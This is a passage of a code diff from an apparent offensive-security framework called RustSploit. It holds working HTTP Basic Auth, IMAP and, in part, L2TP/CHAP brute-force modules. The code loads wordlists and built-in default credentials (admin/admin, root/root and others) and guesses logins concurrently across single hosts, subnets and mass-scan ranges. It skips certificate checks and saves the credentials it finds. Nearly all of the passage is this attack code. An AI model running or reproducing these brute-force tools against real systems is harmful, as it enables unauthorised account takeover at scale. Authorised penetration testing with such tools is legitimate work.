if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
}
_ => continue,
}
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
let subnet_client = Arc::new(reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(5))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "http-basic",
jitter_ms: 50,
source_module: "creds/generic/http_basic_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let url_path = url_path.clone();
let client = Arc::clone(&subnet_client);
async move {
let scheme = if use_https { "https" } else { "http" };
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let he = HttpError::from_string(e.to_string());
LoginResult::Error {
message: he.message,
retryable: he.error_type.is_retryable(),
}
}
}
}
}).await;
}
// --- Single Target Mode ---
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let scheme = if use_https { "https" } else { "http" };
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
let connect_addr = normalize_target(&format!("{}:{}", target, port))
.unwrap_or_else(|_| format!("{}:{}", target, port));
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let shared_client = Arc::new(reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(connection_timeout))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
let url = base_url.clone();
let client = Arc::clone(&shared_client);
async move {
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let he = HttpError::from_string(e.to_string());
LoginResult::Error {
message: he.message,
retryable: he.error_type.is_retryable(),
}
}
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "http-basic",
jitter_ms: 50,
source_module: "creds/generic/http_basic_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored HTTP responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "http_basic_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// HTTP Basic Auth Login Attempt
// ============================================================================
/// Attempt HTTP Basic Auth login.
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
/// Err on connection/protocol errors.
async fn try_http_login(
client: &reqwest::Client,
url: &str,
user: &str,
pass: &str,
) -> Result<bool> {
let response = client
.get(url)
.basic_auth(user, Some(pass))
.send()
.await
.map_err(|e| anyhow!("HTTP request failed: {}", e))?;
let status = response.status().as_u16();
match status {
200..=299 => Ok(true),
401 | 403 => Ok(false),
301 | 302 | 303 | 307 | 308 => {
// Only count redirect as success if it doesn't point to a login/auth page
if let Some(location) = response.headers().get("location") {
let loc = location.to_str().unwrap_or("").to_lowercase();
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
Ok(false) // Redirect to login page = auth failed
} else {
Ok(true) // Redirect to non-login page = likely success
}
} else {
Err(anyhow!("HTTP {} redirect with no Location header", status))
}
}
_ => Err(anyhow!("HTTP {}", status)),
}
}
@@ -0,0 +1,591 @@
use anyhow::{anyhow, Result};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
use std::net::IpAddr;
use std::time::Duration;
use crate::utils::{
load_lines, get_filename_in_current_dir,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
backoff_delay,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_IMAP_PORT: u16 = 143;
const DEFAULT_IMAPS_PORT: u16 = 993;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", ""),
("root", "root"),
("root", "password"),
("user", "user"),
("user", "password"),
("test", "test"),
("guest", "guest"),
("info", "info"),
("mail", "mail"),
("postmaster", "postmaster"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "IMAP Brute Force".to_string(),
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
default credential testing, combo mode, concurrent connections, and subnet/mass \
scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum ImapErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
ProtocolError,
Unknown,
}
impl ImapErrorType {
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("authentication")
|| lower.contains("login")
|| lower.contains("invalid credential")
|| lower.contains("a001 no")
{
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
Self::ProtocolError
} else {
Self::Unknown
}
}
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::ProtocolError => "Protocol error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct ImapError {
error_type: ImapErrorType,
message: String,
}
impl std::fmt::Display for ImapError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for ImapError {}
impl ImapError {
fn from_anyhow(err: anyhow::Error) -> Self {
let msg = err.to_string();
let error_type = ImapErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
// ============================================================================
// Module Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
return run_mass_scan(target, MassScanConfig {
protocol_name: "IMAP",
default_port: if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT },
state_file: "imap_hose_state.log",
default_output: "imap_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let target_str = ip.to_string();
for user in users.iter() {
for pass in passes.iter() {
let mut retry_attempt: u32 = 0;
let max_retries: u32 = 3;
let mut should_skip_host = false;
loop {
let t = target_str.clone();
let u = user.clone();
let p = pass.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_imap_login(&t, port, &u, &p, use_tls, 5)
}).await;
match res {
Ok(Ok(true)) => {
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
return Some(line);
}
Ok(Ok(false)) => break, // auth failed, try next
Ok(Err(e)) => {
if e.error_type.is_retryable() && retry_attempt < max_retries {
retry_attempt += 1;
let delay = backoff_delay(500, retry_attempt, 8);
tokio::time::sleep(delay).await;
continue;
}
should_skip_host = true;
break;
}
Err(_) => {
should_skip_host = true;
break;
}
}
}
if should_skip_host {
return None;
}
}
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
let connection_timeout: u64 = 5;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "imap",
jitter_ms: 50,
source_module: "creds/generic/imap_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let target_str = ip.to_string();
let res = tokio::task::spawn_blocking(move || {
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
}).await;
}
// --- Single Target Mode ---
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |t: String, p: u16, user: String, pass: String| {
async move {
let res = tokio::task::spawn_blocking(move || {
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "imap",
jitter_ms: 50,
source_module: "creds/generic/imap_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored IMAP responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "imap_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// IMAP Protocol Functions
// ============================================================================
/// Attempt IMAP LOGIN authentication.
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
/// and checks for A001 OK (success) or A001 NO (failure).
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
fn attempt_imap_login(
target: &str,
port: u16,
user: &str,
pass: &str,
use_tls: bool,
timeout_secs: u64,
) -> std::result::Result<bool, ImapError> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
if use_tls {
let connector = TlsConnector::builder()
.danger_accept_invalid_certs(true)
.build()
.map_err(|e| ImapError {
error_type: ImapErrorType::TlsError,
message: e.to_string(),
})?;
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| ImapError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| ImapError {
error_type: ImapErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| ImapError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
error_type: ImapErrorType::TlsError,
message: e.to_string(),
})?;
// Read IMAP greeting banner
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let banner = String::from_utf8_lossy(&buffer[..n]);
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
return Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected IMAP banner: {}", banner.trim()),
});
}
// Send LOGIN command
stream.write_all(login_cmd.as_bytes())
.map_err(|e| ImapError::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("A001 OK") {
// Clean logout
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
return Ok(true);
}
if response.contains("A001 NO") || response.contains("A001 BAD") {
return Ok(false);
}
Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected LOGIN response: {}", response.trim()),
})
} else {
// Plaintext IMAP connection
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| ImapError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| ImapError {
error_type: ImapErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| ImapError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
// Read IMAP greeting banner
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let banner = String::from_utf8_lossy(&buffer[..n]);
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
return Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected IMAP banner: {}", banner.trim()),
});
}
// Send LOGIN command
stream.write_all(login_cmd.as_bytes())
.map_err(|e| ImapError::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("A001 OK") {
// Clean logout
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
return Ok(true);
}
if response.contains("A001 NO") || response.contains("A001 BAD") {
return Ok(false);
}
Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected LOGIN response: {}", response.trim()),
})
}
}
@@ -0,0 +1,838 @@
use anyhow::{anyhow, Result};
use colored::*;
use std::{io::Write, net::UdpSocket, time::Duration};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "L2TP Brute Force".to_string(),
description: "Brute-force L2TP/IPsec VPN authentication via CHAP handshake. Tests credentials against L2TP concentrators with concurrent connections and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
const DEFAULT_L2TP_PORT: u16 = 1701;
const DEFAULT_TIMEOUT_MS: u64 = 5000;
// L2TP Message Types
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
// PPP Protocol IDs
const PPP_CHAP: u16 = 0xC223;
// CHAP Codes
const CHAP_CHALLENGE: u8 = 1;
const CHAP_RESPONSE: u8 = 2;
const CHAP_SUCCESS: u8 = 3;
const CHAP_FAILURE: u8 = 4;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ L2TP/PPP Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ Native L2TP/CHAP Implementation ║".cyan()
);
crate::mprintln!(
"{}",
"║ Tests against L2TP servers using CHAP authentication ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
/// L2TP Session state
struct L2tpSession {
sock: UdpSocket,
local_tunnel_id: u16,
remote_tunnel_id: u16,
local_session_id: u16,
remote_session_id: u16,
ns: u16, // Next sequence to send
nr: u16, // Next sequence expected
}
impl L2tpSession {
fn new(sock: UdpSocket) -> Self {
Self {
sock,
local_tunnel_id: rand::random::<u16>() | 1,
remote_tunnel_id: 0,
local_session_id: rand::random::<u16>() | 1,
remote_session_id: 0,
ns: 0,
nr: 0,
}
}
/// Build L2TP control message
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
let flags: u16 = 0xC802;
let length = 12 + avps.len() as u16;
let mut pkt = Vec::with_capacity(length as usize);
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&length.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
pkt.extend_from_slice(&self.ns.to_be_bytes());
pkt.extend_from_slice(&self.nr.to_be_bytes());
pkt.extend_from_slice(avps);
self.ns = self.ns.wrapping_add(1);
pkt
}
/// Build L2TP data message
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
let flags: u16 = 0x0002; // Data message
let mut pkt = Vec::with_capacity(6 + payload.len());
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
pkt.extend_from_slice(payload);
pkt
}
/// Build AVP (Attribute-Value Pair)
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
let mut avp = Vec::with_capacity(6 + value.len());
avp.extend_from_slice(&flags.to_be_bytes());
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
avp.extend_from_slice(&attr_type.to_be_bytes());
avp.extend_from_slice(value);
avp
}
/// Send SCCRQ (Start-Control-Connection-Request)
